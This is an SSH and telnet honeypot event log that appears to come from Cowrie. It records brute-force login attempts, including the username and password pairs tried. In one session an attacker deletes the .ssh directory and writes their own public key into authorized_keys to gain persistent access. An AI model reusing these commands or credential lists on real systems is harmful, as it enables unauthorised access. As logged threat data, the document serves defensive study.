{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:48.871049Z","src_ip":"80.66.85.226","session":"aa2946f3dbe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"romanova.natalya.96","message":"login attempt [root/romanova.natalya.96] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:49.149050Z","src_ip":"80.66.85.226","session":"aa2946f3dbe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:50.243811Z","src_ip":"80.66.85.226","session":"aa2946f3dbe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":40658,"dst_ip":"10.17.0.5","dst_port":22,"session":"4478756af719","protocol":"ssh","message":"New connection: 2.57.122.209:40658 (10.17.0.5:22) [session: 4478756af719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:03.951953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:04.265406Z","src_ip":"2.57.122.209","session":"4478756af719","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:04.269435Z","src_ip":"2.57.122.209","session":"4478756af719","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4321","message":"login attempt [root/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:07.263442Z","src_ip":"2.57.122.209","session":"4478756af719","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.32","src_port":47346,"dst_ip":"10.17.0.5","dst_port":22,"session":"40b0450acfdd","protocol":"ssh","message":"New connection: 81.192.46.32:47346 (10.17.0.5:22) [session: 40b0450acfdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:09.047286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:09.053655Z","src_ip":"81.192.46.32","session":"40b0450acfdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:09.090809Z","src_ip":"2.57.122.209","session":"4478756af719","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:09.170113Z","src_ip":"81.192.46.32","session":"40b0450acfdd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steampass","message":"login attempt [steam/steampass] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:09.672648Z","src_ip":"81.192.46.32","session":"40b0450acfdd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:09.944254Z","src_ip":"81.192.46.32","session":"40b0450acfdd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:09.946945Z","src_ip":"81.192.46.32","session":"40b0450acfdd","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:09.950094Z","src_ip":"81.192.46.32","session":"40b0450acfdd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:10.183327Z","src_ip":"81.192.46.32","session":"40b0450acfdd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:10.388049Z","src_ip":"81.192.46.32","session":"40b0450acfdd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:10.390506Z","src_ip":"81.192.46.32","session":"40b0450acfdd","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:10.510813Z","src_ip":"81.192.46.32","session":"40b0450acfdd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:10.512826Z","src_ip":"81.192.46.32","session":"40b0450acfdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.32","src_port":47352,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c0726ec68e5","protocol":"ssh","message":"New connection: 81.192.46.32:47352 (10.17.0.5:22) [session: 6c0726ec68e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:10.624950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:10.629003Z","src_ip":"81.192.46.32","session":"6c0726ec68e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:10.746758Z","src_ip":"81.192.46.32","session":"6c0726ec68e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:11.249495Z","src_ip":"81.192.46.32","session":"6c0726ec68e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:12.369277Z","src_ip":"81.192.46.32","session":"6c0726ec68e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.32","src_port":47354,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ed5dba56414","protocol":"ssh","message":"New connection: 81.192.46.32:47354 (10.17.0.5:22) [session: 5ed5dba56414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:12.474955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:12.481223Z","src_ip":"81.192.46.32","session":"5ed5dba56414","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:12.594100Z","src_ip":"81.192.46.32","session":"5ed5dba56414","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:13.079471Z","src_ip":"81.192.46.32","session":"5ed5dba56414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:13.194664Z","src_ip":"81.192.46.32","session":"5ed5dba56414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:13.198183Z","src_ip":"81.192.46.32","session":"40b0450acfdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44908,"dst_ip":"159.203.135.109","dst_port":23,"session":"16e3b19dfcd3","protocol":"telnet","message":"New connection: 170.64.224.25:44908 (159.203.135.109:23) [session: 16e3b19dfcd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:15.910539Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":42862,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6ca91c4eedb","protocol":"ssh","message":"New connection: 103.27.238.120:42862 (159.203.135.109:22) [session: b6ca91c4eedb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:18.554615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:18.558479Z","src_ip":"103.27.238.120","session":"b6ca91c4eedb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:18.831800Z","src_ip":"103.27.238.120","session":"b6ca91c4eedb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02031994","message":"login attempt [root/02031994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:19.654912Z","src_ip":"103.27.238.120","session":"b6ca91c4eedb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.213.128","src_port":58484,"dst_ip":"10.17.0.5","dst_port":22,"session":"d02d6f60554a","protocol":"ssh","message":"New connection: 123.58.213.128:58484 (10.17.0.5:22) [session: d02d6f60554a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:20.645812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:20.649773Z","src_ip":"123.58.213.128","session":"d02d6f60554a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:20.872544Z","src_ip":"123.58.213.128","session":"d02d6f60554a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:20.932587Z","src_ip":"103.27.238.120","session":"b6ca91c4eedb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2345","message":"login attempt [root/2345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:21.797847Z","src_ip":"123.58.213.128","session":"d02d6f60554a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:23.020818Z","src_ip":"123.58.213.128","session":"d02d6f60554a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:28.806268Z","src_ip":"8.210.75.243","session":"9e5f3894d717","protocol":"ssh"}
